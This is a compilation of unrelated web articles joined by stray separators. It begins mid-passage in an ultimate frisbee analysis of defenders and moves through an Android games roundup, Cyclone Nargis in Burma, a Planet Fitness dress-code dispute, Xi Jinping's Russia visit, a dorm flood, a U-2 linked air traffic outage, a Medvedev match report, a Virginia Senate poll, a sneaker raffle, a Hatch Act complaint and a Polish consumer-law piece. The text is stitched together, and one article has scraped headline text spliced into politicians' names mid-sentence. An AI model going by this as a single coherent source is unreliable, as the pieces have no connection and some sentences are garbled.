In Scandal’s zone, Jorgensen plays deep and takes a similar approach. She is willing to concede space deep because she is confident in her closing ability.
http://gfycat.com/ParchedShowyKronosaurus
In man and zone, Jorgensen’s dedicates her attention to the thrower’s eyes, giving her an input of which most defenders only get a glimpse, enabling better anticipation and breaks to the disc.
Jorgensen knows that most throwers will not think twice when they see a strong cutter with five-plus yards of separation, and she knows that she can break up the pass any time the offensive execution is short of perfect. None of it would be effective, of course, without her superlative athleticism. Cushion, recover hard, hope for hangtime and contest is a strategy more commonly employed in the men’s game, but Jorgensen’s brought it to Scandal and may be employing it more effectively than any player in any division. Her defensive approach gives the offense tempting looks and relies on imperfect execution.
The other side of that gamble is that the approach can be exploited. Note in the following two clips how throwers recognize the deep look but minimize the hang time, while their respective receivers position themselves well enough to fend off Jorgensen’s hot pursuit.
http://gfycat.com/PartialForsakenAfricanmolesnake
http://gfycat.com/GleamingImpeccableAmurstarfish
The stats back up Jorgensen’s risk-taking tendencies. Compared to Surge and even the average women’s defender, Jorgensen gives up more yards — about 20% of the total yards given up by Scandal when she is on the field. In part this is because she hangs out in the deepest spatial areas on the field, where she has the most space to catch-up and make plays but also the most yards to give up if she fails.
Yet the successes are instructive exceptions to the rule. Jorgensen’s tournament-leading 15 D’s at Nationals last year played a huge role in Scandal’s championship, and would not have been possible if throwers saw no chance of beating her deep. Instead, she gives them just enough space to think they have a viable opportunity, and uses her closing speed and wingspan to eat up any slightly inaccurate or floaty throw.
In order to beat Scandal, you must play Jorgensen differently. All spatial decisions must be recalibrated with Jorgensen in the area. That will go a long way toward reducing her effectiveness. The other adjustment that throwers should make is to utilize pump-fakes and eye-misdirection. Jorgensen plays like a safety, so as a thrower you can beat her the way quarterbacks beat safeties: creating time and space by looking elsewhere before you pull the trigger. Heading into the 2014 club season, it will be interesting to see if teams learn how to better neutralize Jorgensen and Surge — and if those players are able to make adjustments on their own to stay effective.
Two Other Great Defenders Worth Watching
Lakshmi Narayan (Fury) — Speciality: Fronting Positioning
Narayan shares more tactically with Surge than Jorgensen. Like Surge, she is constantly taking many little steps (more steps than her offensive cutter) in order to both constantly reposition her hips and to stay on the balls of her feet. One difference: Narayan doesn’t explode (or sellout) with as much explosive forward momentum as Surge, instead preferring to stay upright. That approach gives her good balance and tight defense, but generates fewer blocks.
More than average, Narayan and Fury employ harder fronting when the field position lends itself to do so.5 One thing that makes Narayan special is she has both the attention to detail and workrate to then quickly adjust to a new fronting angle as her cover moves elsewhere.
Ambler, who has played both with and against Naryan, was full of praise. “[She] is a master of playing the angles. She stays light on her feet and balanced while constantly using micro-adjustments of her defensive positioning to take away the biggest threat. Watch her guard an isolated cutter in the endzone and you’ll notice that her deep understanding of the passing lanes allows her to play shut-down D. This style of defense isn’t flashy, but its effectiveness is why Shmi is usually guarding an opposing team’s star player”
Narayan’s faceguarding on resets gives up space towards the open side and becomes less effective when opposing offenses move the disc quickly. But more often than not, she’s able to deny touches to handlers that would otherwise get open, Combining the initial face guarding with quick foot movement and above-average length allows her to constantly keep windows tight — and throwers second-guessing.
Enessa Janes (Showdown) — Speciality: Footwork
Enessa Janes, a staple on Showdown’s defense line, is one of the game’s great defenders because she has complemented her athleticism with brilliant technique. Janes, as we are unsurprisingly finding is the case with all great defenders not named Jorgensen, distinguishes herself with pre-throw positioning and footwork off the disc. Fluid and agile, Janes stays balanced and on the balls of her feet in order to stick like glue to her opponent. Rarely does her opponent create separation, because Janes is always ready to react.
Her movement is exceptional because instead of using her skill to merely chase the defender, she uses it to chase angles. Janes reactions are based on the opponent’s movement as well as on potential throwing and cutting lanes. When she accelerates, she stays between her opponent and the obvious change-of-direction lane (e.g. the under during a deep cut), buying her an extra moment to react. Combine this with her balanced running style, and opponents are hard-pressed to create separation.
Tsang also called attention to Janes’ footwork, while Ambler noted her competitive nature. “Defense relies on focus, and Enessa’s ability to be hyper-focused on the moment at hand allows her to come up with clutch blocks when her team needs them most,” Ambler said.
What Can We Learn from These Players?
Each player offers lessons, but there are some common threads.
We can’t all be the fastest player in our division, but good positioning and small tweaks make a difference for even the most athletic players.
Focus and over thinking are more universal to this group than athleticism or speed alone. Whether it is Sandy recalculating how much cushion you can give or Narayan thinking about how to position a fronting, focus has to be 100% if you want to continual improve at defense.
As Surge writes about, there are two important kinds of defensive positioning: relative space and body adjustments. Online strategy often emphasizes the former, but there’s low hanging fruit in both, such as avoiding overly-parallel feet, employing a stance that plays to your athletic strengths 6 , and staying on the balls of your feet as much as possible.
, and staying on the balls of your feet as much as possible. Always seek out and take away offensive options with spatial positioning. Try to think one step ahead of the current movement, while still keeping track of your person.
Don’t be afraid to hold onto some amount of risk when playing defense. Whether it is poaching off Opi slightly, bouncing her hands on the mark, or running 100m speed on an in-cut, Griffith trusts her instincts and it pays off. Similarly, Jorgensen knows that she can probably catch up (even though she doesn’t always make it) and Narayan picks moments to faceguard, despite its inherent risks.
Use any available information to anticipate and break on the disc early.
Don’t be afraid to give space if you have a matchup advantage. Sometimes good defense is daring the thrower to make a perfect throw. Practice catching up on hucks (focus on angle and body control) so that you capitalize on those imperfect throws.
CONCLUSION
Besides trying to emulate the strengths showcased above, what can we learn from watching these standout defenders? From Griffith, a reminder that commitment to detail—footwork, positioning, anticipation of offensive tendencies and objectives—can pay major dividends when it all comes together. She is the cover girl for Lou Burruss’ claim, in the aptly titled Inches All Around Us, that “defense is actually harder to learn than offense” because of the complexity and detail required in mastering it.
From Jorgensen, we can take home a reminder to be more proactive about forcing turnovers. Most players lack Jorgensen’s substantial size and speed advantage, but there is something to be said for incorporating more risk in one’s defensive approach. Depending on the matchup and score, sometimes it is optimal to risk your positioning in order to watch the thrower, dare tough throws, and generate turnover opportunities. | {
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As 2015 gets into its groove, the trickle of fine new Android games is starting to widen out into a steady stream, if not quite yet a gush.
The last 30 days or so have produced some more top efforts. Some are iOS conversions, as always, and some are simultaneous launches.
It's a varied spread, too, with sports titles mixing with RPGs and classy casual time-wasters.
Give them a try.
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By Christian West - buy on Android
Undoubtedly one of the best sports management titles available on mobile, Motorsport Manager throws you into a fictionalised world of Formula 1-like intrigue.
It's up to you to manage a racing team, hiring staff, attracting sponsors, and setting up your car.
Crucially, it's not too complicated or fiddly for mobile play, so you can dip in and out whenever you have a spare moment. But you'll probably be playing plenty when you don't, too.
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By BeaverTap Games - buy on Android
The third and latest Mikey game from BeaverTap Games has arrived on Android, courtesy of Noodlecake Studios, and it's arguably the best - or at least the most intuitive.
This time the idea is to keep Mikey in the air using his nifty rocket boots, hoovering up coins and getting to the end of each bite-sized level as quickly as possible.
At its challenging, tactile best, it's like one of those games where you have to guide a metal loop around a length of twisted wire without touching the sides.
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By Square Enix - download on Android
This exciting new IP from Square Enix and Mediatonic brings polished turn-based RPG battling to the free to play mobile format.
If that last part sends shivers up your spine, then fair enough. But Heavenstrike Rivals has more than enough going for it in terms of strategic depth and downright handsome looks to warrant putting aside your misgivings for a bit.
It's got a pretty good story, too, if you're into the whole epic JRPG thing.
Yes, there's an irritating energy system that refills with time or - of course - investment, but there's no denying the sheer quality of the content on offer here.
By PagodaWest Games - download on Android
This polished free to play game has the look and feel of a classic Sega game. It sees you swinging from magnet to magnet, gaining momentum and pinging off into the air in series of death-defying manoeuvres.
Despite its bite-sized levels, Major Magnet: Arcade offers a stiff challenge. Perfect timing is often required to nail the game's exacting requirements.
If you're up to the challenge, though, Major Magnet: Arcade is one of the better ways to spend no money this month.
By Ketchapp - buy on Android
There's not much to say about ZigZag, other than that it's another simple tappy-tappy game from Ketchapp.
Your ball travels along an isometric path, and you must tap at each junction to make the appropriate turn. If you don't you die.
It's simple, it's punishing - it will keep you coming back for more than is strictly healthy.
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By Playdead - buy on Android
Another indie darling makes its way to Android. Limbo is a classic 2D platform-puzzler, with a hugely influential dark and dingy silhouette art style.
The story it tells is similarly grim, concerning a young lad traipsing through a murky nether-realm, avoiding insta-death traps and nightmarish creepy crawlies.
It's the stuff of nightmares, in the best way possible.
By Chocoarts - buy on Android
Almightree is a beautiful puzzle platformer that injects a real sense of urgency into the block-shifting premise.
As you move around Almightree's world, the blocks you walk on begin to crumble. Time is of the essence as you strive to solve the game's gentle conundrums.
All of this is set off with a lovely Zelda-inspired art style, which makes the game look like a polished console game.
By Cartoon Network - buy on Android
Grudgeball is another solid, attractive game based on Cartoon Network's extensive brand, but you don't need to have a working knowledge of Regular Show and its characters to enjoy it.
This is a made-up-sport game that sees your team holding onto possession of the ball to build up power, then lobbing that ball at an opponent's face.
It's dodgeball on amphetamines, but with just enough tactical scope to make it interesting beyond its destructive premise.
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By Rovio Stars - download on Android
The latest effort from Rovio Stars doesn't appear to be particularly fresh or exciting at first glance. In fact, it looks like yet another match-three puzzler and - worse - a Candy Crush clone.
It's actually a sharp and thoughtful effort, though. Rather than simple dragging together clusters of coloured blobs, here you're drawing boxes around them, connecting separated matches and obliterating any other same-shaped fruits in between.
Jolly Jam might look familiar, then, but it's the freshest casual puzzler we've played for a while.
By The Fox Software - buy on Android
Like the first game in the series, Active Soccer 2 harks back to the days before FIFA took a stranglehold on video game footy.
It's a fast, unforgiving, arcadey, top-down experience that requires considerable dexterity and practice to master.
Okay, so it's a little ugly and even glitchy, and there are no licenses, but Active Soccer 2 plays as pure a game of soccer as you can get on Android. | {
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Please turn on JavaScript. Media requires JavaScript to play. Advertisement More than 10,000 people were killed in a devastating cyclone that hit western Burma on Saturday, Foreign Minister Nyan Win has said on state TV. He said his government was ready to accept international assistance. Aid shipments are now being prepared. Thousands of survivors of Cyclone Nargis are lacking shelter, drinking water, power and communications. The United States offered to increase aid offered if Burma agreed to allow a US team access to assess the situation. First Lady Laura Bush, who takes a special interest in Burma, urged Burma to accept $250,000 (£126,000) already allocated for emergency aid, and said more would be available if the team was allowed into the country. She also accused the Burmese authorities of failing to give a "timely warning" about the approaching storm, after which five regions - home to 24 million people - have been declared disaster zones. Sea surge Expressing his sadness at the scale of the disaster, UN Secretary General Ban Ki-moon confirmed that UN officials were meeting Burmese government representatives to discuss how to help. If the toll is confirmed, Nargis is now the world's deadliest storm since a 1999 cyclone in India killed 10,000 people. Nargis hit the south-east Asian country on Saturday with wind speeds reaching 190km/h (120mph). It brought with it a sea surge that smashed through towns and villages.
Crucial test for junta In pictures: Burma cyclone crisis Your pictures: Rangoon damage Earlier on Monday, the death toll was being put at 351 but the foreign minister later went on TV to announce the figure of at least 10,000. With information still coming in, he warned the toll could yet rise. The towns of Bogalay and Laputta, in the region of Irrawaddy, are among those locations particularly badly hit, state media have reported. None of the casualty figures have been independently confirmed. The BBC is not permitted to report from Burma, also known as Myanmar. Houses 'skeletal' Thousands of buildings have been flattened, power lines downed, trees uprooted, roads blocked and water supplies disrupted. Many people have been left without drinking water and shelter A Rangoon resident who spoke to relatives in Laputta told BBC Burmese that 75% to 80% of the town had been destroyed. Houses along the coast had been reduced to skeletal structures, 16 villages had been virtually wiped out and no help had reached Laputta, he said. Pictures on state TV show security services working to clear roads but in Rangoon and elsewhere there are complaints that the response to the disaster has been weak. Please turn on JavaScript. Media requires JavaScript to play. "Where are the soldiers and police? They were very quick and aggressive when there were protests in the streets last year," a retired government worker complained to Reuters news agency. He was referring to protests led by Buddhist monks last year that were quickly put down. Earlier, a BBC journalist monitoring the situation in Burma from Bangkok, Soe Win, said the shortages of power and water were particularly critical. Local people were saying that if the situation continued for another two or three days, it would be really difficult for them, he reported. Aid assessment Several hundred thousand people are in need of shelter and clean drinking water, UN disaster response official Richard Horsey said. DEADLIEST RECENT STORMS Hurricane Katrina, US, 2005 - at least 1,836 dead Orissa Cyclone, 1999, Northern India - at least 10,000 dead Hurricane Mitch, 1998, Central America - at least 11,000 dead Typhoon Thelma, 1991, Philippines - 6,000 dead Bangladesh cyclone, 1991 - about 138,000 dead Bhola cyclone, 1970 - at least 300,000 dead
Timeline: Major tropical cyclones But damage to roads and communications mean it is impossible to tell the true extent of the situation, he added. Prices of food, fuel and basic necessities have also risen dramatically. The UN and international aid agencies are sending assessment teams to the worst-hit areas and shipments are being prepared. Thailand has announced it is flying in a transport plane loaded with nine tonnes of food and medicines and India is sending two naval ships carrying food, tents, blankets, clothing and medicines. The US, which released an immediate funding package of $250,000 (£127,000) to be channelled through the UN, said that Burmese authorities had refused permission for an American disaster assistance response team to enter. Meanwhile, Burma's military junta has said a referendum on a new national constitution will go ahead on Saturday. People were "eagerly looking forward to voting", it said. But some people are now wondering if this natural disaster could have serious political repercussions, reports the BBC's Andrew Harding in the Thai capital Bangkok.
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The Planet Fitness gym in Richmond, California is standing behind their dress code policy after one member claimed that she was told to put a shirt over her intimidatingly toned body.
As reported by KTVU Channel 2, Tiffany Austin was recovering from a car accident and getting back in shape with her first workout at the gym. However, her time exercising was cut short when a Planet Fitness employee stopped her. Austin explained, “She says, you know, ‘Excuse me, we've had some complaints. You're intimidating people with your toned body. So can you put on a shirt?’”
Ms. Austin was wearing a spaghetti strap tank top and capri pants with her midriff exposed, and she doesn’t think her attire was out of line. “I don’t feel like it’s anything crazy, but I mean you tell me if it’s burning your eyes,” Austin said with a laugh. Reportedly she was only told that the gym dress code prohibited wearing string tank tops. The Planet Fitness customer agreed to wear one of the shirts the gym provides patrons for free, but while she waited for the tee, another employee approached her with objections to her clothing. Feeling harassed and intimidated herself, Austin decided to get her money back and cancel her membership at the gym advertised as the “Judgement Free Zone” whose policy bans “gymtimidation.” McCall Gosselin, Planet Fitness spokesperson, said that criticizing Austin for being toned, “…is not in line with the Planet Fitness policy whatsoever.”
According to their website, Planet Fitness’ philosophy of a Judgement Free Zone, “means members can relax, get in shape, and have fun without being subjected to the hard-core, look-at-me attitude that exists in too many gyms.” It’s a policy that is attractive to many Americans. With over 5million members, Chris Rondeau, the co-founder and chief executive, says the gym chain is the fastest growing in the U.S. “It’s unfair to like, show off your body and that’s what they don’t want,” said a gym-goer to KTVU. Yahoo! Odd News made a call to the Richmond, California Planet Fitness and was told that while the dress code is not available on the gym’s website, signs within the gym explain the policy.
Story continues
Director of the Athletic Studies Center at UC Berkeley, Derek Van Rheenen, told the station, “In a lot of ways I actually think what Planet Fitness is doing is a positive thing. I think they obviously need to iron out some of these issues. But you know, sport in the United States is by nature discriminatory. It is selective. It is elitist."
Planet Fitness does have its detractors who say that some of their policies go too far. In November 2006 Albert Argibay was removed by police from the Planet Fitness in Wappingers Falls, NY. Reportedly, Argibay had broken the gym’s rule of no grunting, though he says that he was just breathing heavily. The no grunting policy may be what Planet Fitness is most known for. The gym sounds its “lunk alarm,” a siren and flashing lights, whenever a gym-goer is found displaying lunk-like behavior. Posters are said to define a lunk as “one who grunts, drops weights, or judges.”
With membership rates that start at just $10 per month, and monthly pizza nights and bagel breakfasts, the gym chain is likely to keep attracting their target demographic of occasional exercisers.
Video and more info: KTVU, New York Times, Planet Fitness | {
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Xi, who met with Russian President Vladimir Putin during the trip, told Russian media that relations between the two countries were currently at their "best time in history." The Chinese president also said Russia and China were each other's "most trustworthy strategic partners," Xinhua reported.
Strategic ties between Russia and China were appraised in glowing terms as Chinese President Xi Jinping wrapped up a two-day state visit to Russia, concluding with at least $10 billion in agreements.
Russian President Vladimir Putin (R) shakes hands with his Chinese counterpart Xi Jinping during a signing ceremony following the talks at the Kremlin in Moscow, Russia July 4, 2017.
"China-Russia relations do appear to be smooth right now, but relations between those two major power neighbors have had a long history of ups and downs," said Ja Ian Chong, an associate professor at the National University of Singapore, adding that changes in the nature of that relationship can be sudden and dramatic.
One impetus for the ramp up in diplomatic cooperation could be developments in U.S. foreign policy.
"The fact that the U.S. seems far less systematic in its foreign policy than in the past creates space for China and Russia to make the best of the situation," Chong told CNBC.
Hugo Brennan, Asia analyst at Verisk Maplecroft, added that President Donald Trump's approach to foreign policy was more likely to foster alignment between Beijing and Moscow than it was to thrust a wedge between the two.
Aside from the reiteration of closer strategic ties between the states, other issues discussed during Xi's visit included the deepening of economic linkages and security concerns.
Although details about the exact nature of the proposed enhancements in trade and investment remained unclear, an investment fund worth $10 billion was announced during the trip, the Financial Times reported.
Signed into agreement on Tuesday, funds from the Russia-China RMB Cooperation Fund are expected to be invested in infrastructure projects linked to China's "One Belt, One Road" (OBOR) initiative and the Eurasian Economic Union ー a trading bloc championed by Putin. Russian state media said the investment fund was an agreement between the Russian Direct Investment Fund sovereign wealth fund and the China Development Bank. | {
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Students living in Clement Hall at the University of Tennessee, Knoxville, were forced out of their dorm on Sunday morning after vandalism caused a pipe to burst on the 7th floor.
According to Katherine Saxon Kieth from the university, a significant amount of water penetrated the 7th floor and floors below, including closets with electrical equipment.
There is currently no power in the north tower of Clement Hall, which houses 400 students.
Students on the 7th floor will have to find another place to live for the time being as it will take a couple of days to extract water from that floor. This could take up until Wednesday. All students who live on the 7th floor are asked to see the front desk staff at Clement Hall to receive your temporary assignment. Students will need to be escorted to the their rooms to get any additional belongings needed through Wednesday.
The university is already working on the relocation spaces, which could include on-campus options and hotels.
UT has released a statement saying all North Tower residents who do not live on the seventh floor may return to their rooms and stay there. However, there will not be power. Power may not be restored for a few days. Candles will not be permitted during this time.
Power has been restored to the South Tower and all residents who do not live on the seventh floor can return to their dorm rooms.
Elevator service will not be available at this time. Additionally, hot water pumps are currently compromised, so hot water is not available at this time.
The university is asking anyone who saw or heard suspicious activity in the early morning hours in Clement Hall to report it to the front desk.
WATE Six On Your Side spoke with two students who live on the seventh floor.
“It’s the worst because the tile that busted and the water pipe that busted was actually right in front of my dorm, so all of the girls’ dorms are pretty messed up,” said Kaylie O’Dell. “I had about 40 pieces of clothing inside of a huge bag and they’re going to get it cleaned for us. But I was ringing out my clothes before I could even put them in the bag because they were soaking wet.” | {
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A relic from the Cold War appears to have triggered a software glitch at a major air traffic control center in California Wednesday that led to delays and cancellations of hundreds of flights across the country, sources familiar with the incident told NBC News.
On Wednesday at about 2 p.m., according to sources, a U-2 spy plane, the same type of aircraft that flew high-altitude spy missions over Russia 50 years ago, passed through the airspace monitored by the L.A. Air Route Traffic Control Center in Palmdale, Calif. The L.A. Center handles landings and departures at the region’s major airports, including Los Angeles International (LAX), San Diego and Las Vegas.
The computers at the L.A. Center are programmed to keep commercial airliners and other aircraft from colliding with each other. The U-2 was flying at 60,000 feet, but the computers were attempting to keep it from colliding with planes that were actually miles beneath it.
Though the exact technical causes are not known, the spy plane’s altitude and route apparently overloaded a computer system called ERAM, which generates display data for air-traffic controllers. Back-up computer systems also failed.
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A NASA ER-2 high altitude research aircraft is shown in flight on Nov. 4, 1997. AP
As a result, the Federal Aviation Administration (FAA) had to stop accepting flights into airspace managed by the L.A. Center, issuing a nationwide ground stop that lasted for about an hour and affected thousands of passengers.
At LAX, one of the nation’s busiest airports, there were 27 cancellations of arriving flights, as well as 212 delays and 27 diversions to other airports. Twenty-three departing flights were cancelled, while 216 were delayed. There were also delays at the airports in Burbank, Long Beach, Ontario and Orange County and at other airports across the Southwestern U.S.
In a statement to NBC News, the FAA said that it was “investigating a flight-plan processing issue” at the L.A. Air Route Traffic Control Center, but did not elaborate on the reasons for the glitch and did not confirm that it was related to the U-2’s flight.
“FAA technical specialists resolved the specific issue that triggered the problem on Wednesday, and the FAA has put in place mitigation measures as engineers complete development of software changes,” said the agency in a statement. “The FAA will fully analyze the event to resolve any underlying issues that contributed to the incident and prevent a reoccurrence.”
Sources told NBC News that the plane was a U-2 with a Defense Department flight plan. “It was a ‘Dragon Lady,’” said one source, using the nickname for the plane. Edwards Air Force Base is 30 miles north of the L.A. Center. Both Edwards and NASA’s Neil A. Armstrong Flight Research Center, which is located at Edwards, have been known to host U-2s and similar, successor aircraft.
The U.S. Air Force is still flying U-2s, but plans to retire them within the next few years.
Gary Hatch, spokesman for Edwards Air Force Base, would not comment on the Wednesday incident, but said, “There are no U-2 planes assigned to Edwards.”
Kevin Rohrer, a spokesman for the Armstrong Flight Research Center, said that neither of the two high-altitude ER-2 planes used by the agency for earth science research were flying that day.
Developed more than a half-century ago, the U-2 was once a workhorse of U.S. airborne surveillance. The plane’s “operational ceiling” is 70,000 feet. In 1960, Francis Gary Powers was flying a U-2 for the CIA over the Soviet Union when he was shot down. He was held captive by the Russians for two years before being exchanged for a KGB colonel in U.S. custody. A second U.S. U-2 was shot down over Cuba in 1962, killing the pilot. | {
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The Russian meteor Daniil Medvedev picked up at least some fans at Arthur Ashe Stadium in a big win over Stan Wawrinka during a four-setter to reach his first U.S. Open semifinal Tuesday.
He’s the hottest player on tour, but has played the role of villain during the Open. But there were only scattered boos at Ashe during his 7-6 (8-6), 6-3, 3-6, 6-1 win as the fifth seed deconstructed the former Open champion despite dealing with his own quadriceps injury.
In his first Grand Slam quarterfinal, the 25-year-old Medvedev, who took the court to some booing, claimed he injured his quadriceps on the match’s first point and needed a painkiller that he believes finally kicked in during the fourth and final set.
“It was a really big pain in my quadriceps and I thought I would not continue the match in the first set,’’ Medvedev said. “So I really feel strange about this match.”
Medvedev elaborated, saying he played a herky-jerky game, slowing the pace at some junctures because of his taped-up leg. Medvedev survived nine double faults in the first set alone and won an 8-6 tiebreaker when he cleaned up his serve. The nine double faults equaled his high for the year for a match.
Medvedev said, after he got up 2-0 in the set, he wasn’t quitting, though he didn’t play his normal style.
“I thought the way I won was quite ugly,’’ Medvedev said. “I’m still really painful in my leg. I had to play without rhythm. Some games I have to not run to relax my leg. I was hitting full power, then suddenly I was doing drop shots in the middle. I knew I should not give him any rhythm and in crucial moments make him miss. I prefer to win in a normal way.’’
Since Wimbledon, the 6-foot-6 Russian has reeled off an 18-2 record, cleaning up on the summer hard courts, upsetting Novak Djokovic in the last Open tune-up on the way to the title in Cincinnati. Now he has a real Open title shot despite a potential semifinal showdown against Roger Federer. The good news is he has two days off to heal.
“I feel real lucky,’’ Medvedev said.
Medvedev’s quirky personality was on display during his third-round match when he ripped a towel from a ballboy, drawing boos. When he sat for the changeover, he mischievously held up his middle finger by his head. Some fans saw it live. Those who didn’t caught the vulgar display on the video-screen replay later and he was booed the rest of the match.
Medvedev trolled the crowd in his post-match interview on the court last week, repeatedly telling the fans he couldn’t have won without their “energy.’’ In the fourth round, the boos continued and Medvedev continued to goad the fans by thanking them profusely for their support.
It was different this time though. The fans were clearly pulling for Wawrinka, the 34-year-old marathon man from Switzerland, to make a comeback after dropping the first two sets, but boos were scarce.
“What I got is what I deserved,’’ Medvedev said. “ Usually I’m not like this. I’m working to be better. Hopefully I will show the bright side of myself.”
His coach Gilles Cervara said Medvedev is just a different bird.
“I said already what it’s like to coach a genius,’’ Cervara said. “Sometimes a genius, you don’t understand them. It’s like this. They are different. And you have to connect to this guy like he is.”
Wawrinka didn’t sound like he bought Medvedev’s threats at quitting because of his injury.
“Not really important,’’ Wawrinka said. “I saw him saying the last two matches that he didn’t feel he could play; but he’s still winning, still playing better and better the more the match goes. Some players like to show everybody they have pain. I’m pretty sure all the players, 95 percent, we all have pain.’’
Medvedev seemed like he’d like the support in the Open semifinals. But that won’t happen if it’s against Federer.
When asked to describe his Open run in two words, Medvedev said, “electric and controversy.’’
“I try to be myself guys,’’ Medvedev told the crowd Tuesday. “ I have to say sorry guys and thank you.’’
Some boos ensued but there were plenty more cheers.
Cervara, his coach, said he thought the fans treated him “quite well.”
“I hope so, because he doesn’t have anything against anybody,” Cervara said. | {
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Sen. Tim Kaine Timothy (Tim) Michael KaineDemocrats call for declassifying election threats after briefing by Trump officials Buttigieg stands in as Pence for Harris's debate practice Trump meets with potential Supreme Court pick Amy Coney Barrett at White House MORE (D) leads his Republican challenger Corey Stewart by 18 points in a poll of the Virginia Senate race released Tuesday.
A Quinnipiac University survey found that Kaine enjoys the support of 54 percent of voters in the state, while Stewart sits at 36 percent in the poll.
The divide between the two candidates in the poll is particularly strong among women and non-white voters, with more than six in 10 of each demographic group supporting Kaine.
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Kaine also remains more popular among Democrats (94 percent) than Stewart is among Republicans (83 percent). Kaine leads 54 percent to 34 percent among independent voters.
Stewart's campaign has been dogged by accusations that the candidate expressed support for Paul Nehlen, a GOP candidate who attempted to challenge Speaker Paul Ryan Paul Davis RyanKenosha will be a good bellwether in 2020 At indoor rally, Pence says election runs through Wisconsin Juan Williams: Breaking down the debates MORE (R-Wis.), after Nehlen revealed white nationalist and anti-Semitic views.
While voters in Virginia remain divided on their support for the Democratic Party (46 percent favorable to 45 percent unfavorable), the GOP remains underwater with Virginians. Just 32 percent of voters in the state have a favorable view of the Republican Party, while 59 percent disapprove of the job the GOP is doing, according to the poll.
President Trump Donald John TrumpBiden on Trump's refusal to commit to peaceful transfer of power: 'What country are we in?' Romney: 'Unthinkable and unacceptable' to not commit to peaceful transition of power Two Louisville police officers shot amid Breonna Taylor grand jury protests MORE, who has thrown his support behind Stewart, remains unpopular in the state as just 37 percent of voters in the state approve of the job he is doing while 58 percent disapprove of his efforts so far in office.
Kaine, who has served in the Senate since 2013 and served as Hillary Clinton Hillary Diane Rodham ClintonDemocratic groups using Bloomberg money to launch M in Spanish language ads in Florida The Hill's Campaign Report: Presidential polls tighten weeks out from Election Day More than 50 Latino faith leaders endorse Biden MORE's running mate during the 2016 presidential race, holds an edge over Stewart among Virginians who say the candidate shares their values.
Over half of voters, 51 percent, said Kaine shared their values, while 39 percent said he did not. Meanwhile, 43 percent of voters said Stewart did not share their values, while just under a third, 28 percent, said he did.
Quinnipiac's poll of 1,082 Virginia voters was conducted June 21-25 and has a margin of error of 3.7 percentage points. | {
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afew sneaker store introduces their new shoe release raffle system with a restock of the “Shattered Backboard” Air Jordan 1. Similar to what END Clothing does with their shoe registrations, afew is aiming to keep things as fair and non-disruptive as possible by allowing customers to sign up for shoe releases online. Selected winners will have to check their emails during a certain time window allocated by the store, and will have just fifteen minutes to complete the purchase. If you’re looking to re-up on a pair of the Shattered Backboard Jordan 1s, sign up now and read the full raffle rules below.
How is the Afew Raffle System working?
Sign in for your size on the Microsite of the Air Jordan 1 Retro „Shattered Backboard until the 8th of July (12:59h p.m. CET)
Confirm your registration in the mail which you will receive by us after signing in to the raffle.
Check your mails on the 8th of July between 01-02h p.m. CET
The winners will be informed in this time and will have 15 minutes to pay via Paypal after receiving the mail.
The participant which had no luck at the raffle will be informed right after this. | {
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Ivanka Trump, the eldest daughter of President Donald Trump, who also serves as a White House adviser, has allegedly violated the Hatch Act by using her Twitter handle for inappropriate political activity, a nonpartisan ethics watchdog organization claims.
"Citizens for Responsibility and Ethics in Washington ('CREW') respectfully requests that the Office of Special Counsel ('OSC') investigate whether assistant to the president Ivanka Trump violated the Hatch Act by using her social media account @IvankaTrump to post messages, including President Trump’s campaign slogan: 'Make America Great Again," wrote Noah Bookbinder, the executive director of Citizens for Responsibility and Ethics in Washington (CREW), in a complaint filed Thursday with the Office of Special Counsel (OSC).
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"These actions were directed specifically toward the success or failure of Donald J. Trump, a candidate in a partisan election," Bookbinder continued. "By sharing these posts on a Twitter account that Ms. Trump uses for official government business, Ms. Trump engaged in political activity prohibited by law."
After noting that Ivanka Trump has used her Twitter handle for official government purposes, Bookbinder writes that "although Ms. Trump claims that the @IvankaTrump is a 'Personal Pg. Views are my own,' the account is also routinely cited in the press for official matters." He then identifies several occasions in which Trump allegedly used her account for political purposes.
On June 16, along with a pro-Trump banner proclaiming "Make America Great Again," she tweeted: "Four years ago today, I introduced my father @realDonaldTrump when he launched a Campaign that would forever change America. Because of his courage, Americans are safer and more prosperous...and the best is yet to come!"
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That tweet, the complaint pointed out, was posted only two days before Trump held a launch event for his 2020 re-election campaign — and three days after the OSC concluded that Kellyanne Conway, a counselor to the president, had violated the Hatch Act, in part through her own activity on Twitter. In fact, the OSC recommended that President Trump terminate Conway for her repeated violations.
Bookbinder also pointed to two re-tweets disseminated from Ivanka Trump's account. One, which was posted in April, came from the account of Republican National Committee Chairwoman Ronna Romney McDaniel, who was promoting Trump's Prison Reform Summit. The second was posted in May and came from "self-described 'GOP commentator' Paris Dennard." Both tweets either said "Make America Great Again" or "MAGA," an acronym for the president's campaign slogan.
The letter concluded that "there is no doubt that Ms. Trump’s use of the @IvankaTrump Twitter account to post messages promoting the President’s campaign slogan and to share messages from RNC Chairwoman McDaniel’s Twitter account constitute political activity under the Hatch Act." It added that the "OSC should commence an immediate investigation and take or recommend appropriate disciplinary action against Ms. Trump."
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In a statement to the press, Bookbinder explained that "it has become clear that this rampant abuse of public office is not a problem of ‘one bad apple’ but rather a key feature of the Trump White House. By blatantly using her office for politics right after the Office of Special Counsel recommended her colleague be fired for repeatedly acting similarly, Ivanka Trump has basically thumbed her nose at the OSC and the rule of law. Never before have we witnessed this level of illegal politicized behavior, and it must not be allowed to continue." | {
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Maja Werner
Zwrot bez paragonu jest jak najbardziej możliwy, o czym pisaliśmy już od pewnego czasu, a ostatnio pogląd ten potwierdził Sąd Ochrony Konkurencji i Konsumentów.
Zwrot towaru bez paragonu jest możliwy. Pisaliśmy o tym w przeszłości, m.in. gdy zapanowała moda na tak zwane aplikacje zbierające paragony w pamięci naszych smartfonów. W końcu po co przez lata trzymać tony niezbyt estetycznej makulatury, skoro lepiej sobie taki paragon elektronicznie zeskanować i w razie czego udostępnić sprzedawcy?
Zwrot bez paragonu możliwy?
I taki zwrot bez paragonu musiał być przez sprzedawcę respektowany z prozaicznej przyczyny – przemawiały za nami przepisy prawa, które nigdzie nie wskazywały, że do dokonania na przykład reklamacji czy zwrotu niezbędny jest paragon. Nie, one mówiły o dowodzie zakupu, a dowody zakupu mogły być rozmaite. Wydruk z konta bankowego, jeśli płaciliśmy kartą. Albo nawet świadek, który dokonywał z nami zakupu lub nagranie ze sklepowego monitoringu.
